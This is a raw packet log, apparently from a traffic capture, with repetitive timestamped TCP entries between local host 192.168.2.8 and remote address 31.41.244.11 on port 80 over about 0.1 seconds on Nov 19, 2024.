Nov 19, 2024 18:02:08.950406075 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950423956 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950427055 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950439930 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950444937 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950455904 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950457096 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950470924 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950494051 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950594902 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950608969 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950630903 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950633049 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950649023 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950658083 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950664043 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950680017 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950685024 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950694084 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950710058 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950716019 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950728893 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950735092 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950743914 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950757980 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950759888 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950776100 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950781107 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950790882 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950803995 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950805902 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950826883 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950830936 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950843096 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950855970 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950855970 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950870991 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950880051 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950886011 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950902939 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950906992 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950917959 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950930119 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950932980 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950943947 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950956106 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950967073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950972080 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950983047 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.950988054 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.950995922 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951004982 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951016903 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951020002 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951033115 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951035976 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951047897 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951051950 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951066971 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951069117 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951085091 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951091051 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951102018 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951106071 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951122046 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951133966 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951148033 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951165915 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951452017 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951467037 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951482058 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951494932 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951509953 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951529026 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951584101 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951598883 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951615095 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951622009 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951631069 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951644897 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951666117 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951690912 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951939106 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951953888 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951968908 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951982021 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.951983929 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.951997995 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.952004910 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.952013016 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.952028990 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.952032089 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.952042103 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.952061892 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.952092886 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989341021 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989365101 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989382982 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989398956 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989412069 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989418983 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989430904 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989444971 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989453077 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989470959 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989485025 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989487886 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989506960 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989511013 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989520073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989526033 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989542007 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989543915 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989563942 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989568949 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989583015 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989584923 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989598036 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989604950 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989617109 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989624023 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989631891 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989640951 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989664078 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989676952 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989728928 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989744902 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989759922 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.989780903 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.989798069 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.994976044 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995028973 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995044947 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995060921 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995060921 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995095968 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995101929 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995117903 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995138884 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995141029 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995155096 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995158911 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995166063 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995193958 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995242119 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995259047 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995274067 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995281935 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995310068 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995326042 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995341063 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995368958 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995372057 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995392084 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:08.995451927 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:08.995496988 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035656929 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035674095 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035697937 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035720110 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035721064 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035736084 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035737991 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035752058 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035764933 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035768032 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035782099 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035787106 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035803080 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035815954 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035876989 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035892010 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035917044 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035917044 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035933018 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035933971 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035953045 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035954952 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035964012 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.035976887 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.035990000 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036004066 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036017895 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036019087 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036041975 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036046982 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036052942 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036061049 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036077023 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036083937 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036101103 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036103964 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036114931 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036128998 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036128998 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036135912 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036145926 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036159992 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036164045 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036178112 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036185980 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036211014 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036237001 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036290884 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036325932 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036341906 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036348104 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036359072 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036372900 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036382914 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036389112 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036413908 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036415100 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036428928 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036434889 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036446095 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036447048 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036467075 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036484003 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036504984 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036519051 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036533117 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036551952 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036556959 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036572933 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036572933 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036595106 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036597967 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036602020 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036614895 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036629915 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036637068 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036645889 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036648035 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036670923 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036681890 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036699057 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036737919 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036787033 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036799908 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036813021 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036833048 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036847115 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036849022 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036865950 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036879063 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036885023 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036900043 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036910057 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036915064 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.036928892 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036936998 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.036957979 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037194014 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037209988 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037234068 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037240982 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037249088 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037251949 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037266970 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037272930 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037286997 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037293911 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037305117 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037327051 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037333965 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037349939 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037369967 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037379980 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037405014 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037419081 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037434101 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037448883 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037470102 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037516117 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037530899 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037561893 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037575960 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037657022 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037682056 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037703991 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037709951 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037709951 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037728071 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037743092 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037758112 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037781954 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037796974 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037811041 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037833929 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037848949 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037863016 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037878036 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037892103 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037939072 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037954092 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037967920 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037975073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037975073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037975073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037975073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037975073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037975073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037975073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037975073 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037983894 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.037992001 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037992001 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037992001 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037992001 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037992001 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.037992001 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038001060 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038006067 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038022995 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038037062 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038310051 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038347960 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038356066 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038362980 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038378954 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038384914 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038394928 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038414955 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038454056 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038470984 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038499117 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038515091 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038516998 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038535118 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038551092 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038557053 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038568020 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038589001 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038786888 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038803101 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038826942 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038835049 CET	62704	80	192.168.2.8	31.41.244.11
Nov 19, 2024 18:02:09.038841009 CET	80	62704	31.41.244.11	192.168.2.8
Nov 19, 2024 18:02:09.038855076 CET	62704	80	192.168.2.8	31.41.244.11
